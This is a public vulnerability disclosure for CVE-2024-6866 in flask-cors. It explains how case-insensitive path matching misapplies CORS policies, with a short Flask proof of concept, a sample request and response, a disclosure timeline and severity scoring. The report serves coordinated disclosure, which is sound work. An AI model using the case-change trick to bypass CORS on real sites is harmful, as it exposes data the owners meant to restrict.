

Case-Insensitive Path Matching result to potential CORS misconfiguration in [corydolphin/flask-cors](#)

✓ Valid

Reported on May 14th 2024

Description

Matching for the request path is done with the function `try_match` which is case insensitive as it is originally for matching hosts. This results in a mismatch because paths in URLs are case-sensitive, but the regex matching treats them as case-insensitive.

Proof of Concept

```
from flask import Flask, jsonify
import logging
try:
    from flask_cors import CORS # The typical way to import flask-cors
except ImportError:
    # Path hack allows examples to be run without installation.
    import os
    parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    os.sys.path.insert(0, parentdir)

    from flask_cors import CORS

app = Flask('FlaskCorsAppBasedExample')
logging.basicConfig(level=logging.INFO)

# To enable logging for flask-cors,
logging.getLogger('flask_cors').level = logging.DEBUG

CORS(app, resources={
    r'/API/*': {'origins': ['*']},
    r'/api/*': {'origins': ['https://lowercase.com']}
})

@app.route("/API/super_Secret")
def secret():
    return "Not much confidential, feel free to serve to any origin"

@app.route("/api/super_Secret")
def list_users():
    return "Very Confidential. Only serve to https://lowercase.com"
```

```
if __name__ == "__main__":  
    app.run(debug=True)
```

```
GET /api/super_Secret HTTP/1.1  
Host: 127.0.0.1:5000  
Origin: https://notlowercase.com
```

```
HTTP/1.0 200 OK  
Content-Type: text/html; charset=utf-8  
Content-Length: 54  
Access-Control-Allow-Origin: https://notlowercase.com  
Vary: Origin  
Server: Werkzeug/1.0.1 Python/3.9.5  
Date: Mon, 13 May 2024 20:34:40 GMT  
  
Very Confidential. Only serve to https://lowercase.com
```

Impact

The case-insensitive path matching in the CORS configuration can lead to significant security vulnerabilities. Unauthorized origins can access paths meant to be restricted, resulting in data exposure and potential data leaks. This misconfiguration allows attackers to bypass CORS policies by changing the case of the URL path, undermining the intended security measures and leading to unauthorized access to sensitive resources. This vulnerability compromises the integrity of the CORS policy, increasing the risk of data breaches and unauthorized data access.

Occurrences

 extension.py L195

-  We are processing your report and will contact the **corydolphin/flask-cors** team within 24 hours. 2 years ago
-  A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago
-  We were unable to make contact with the **corydolphin/flask-cors** team automatically, our community manager will try to reach out to them instead. 2 years ago
-  We have sent a magic link to the **corydolphin/flask-cors** team via the email provided in their **security policy** 2 years ago
-  We have sent a follow up to the **corydolphin/flask-cors** team. We will try again in 4 days. 2 years ago

- ✉ We have sent a second follow up to the **corydolphin/flask-cors** team. We will try again in 7 days. 2 years ago
- ✉ We have sent a third follow up to the **corydolphin/flask-cors** team. We will try again in 14 days. 2 years ago
- ✉ We have sent a fourth follow up to the **corydolphin/flask-cors** team. We will send a final notification 48 hours before report publication. 2 years ago



tomorrowisnew_ commented 2 years ago

Researcher

How long @admin



✎ **Marcello** modified the Severity from Medium (5.9) to Medium (5.3) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ **Marcello** validated this vulnerability 2 years ago

\$ **tomorroisnew** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 **CVE-2024-6866** assigned to this report. 2 years ago

⚠ We have sent a warning to the **corydolphin/flask-cors** team to inform them that this report will be published in 48 hours a year ago

📡 This vulnerability has now been published a year ago

👤 **CVE-2024-6866** has now been published 10 months ago

[Sign in](#) to join this conversation

CVE
CVE-2024-6866
Published

Vulnerability Type
CWE-178: Improper Handling of Case Sensitivity

Severity
Medium (5.3)

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
4.01

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



tomorrowisnew_
@tomorroisnew

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

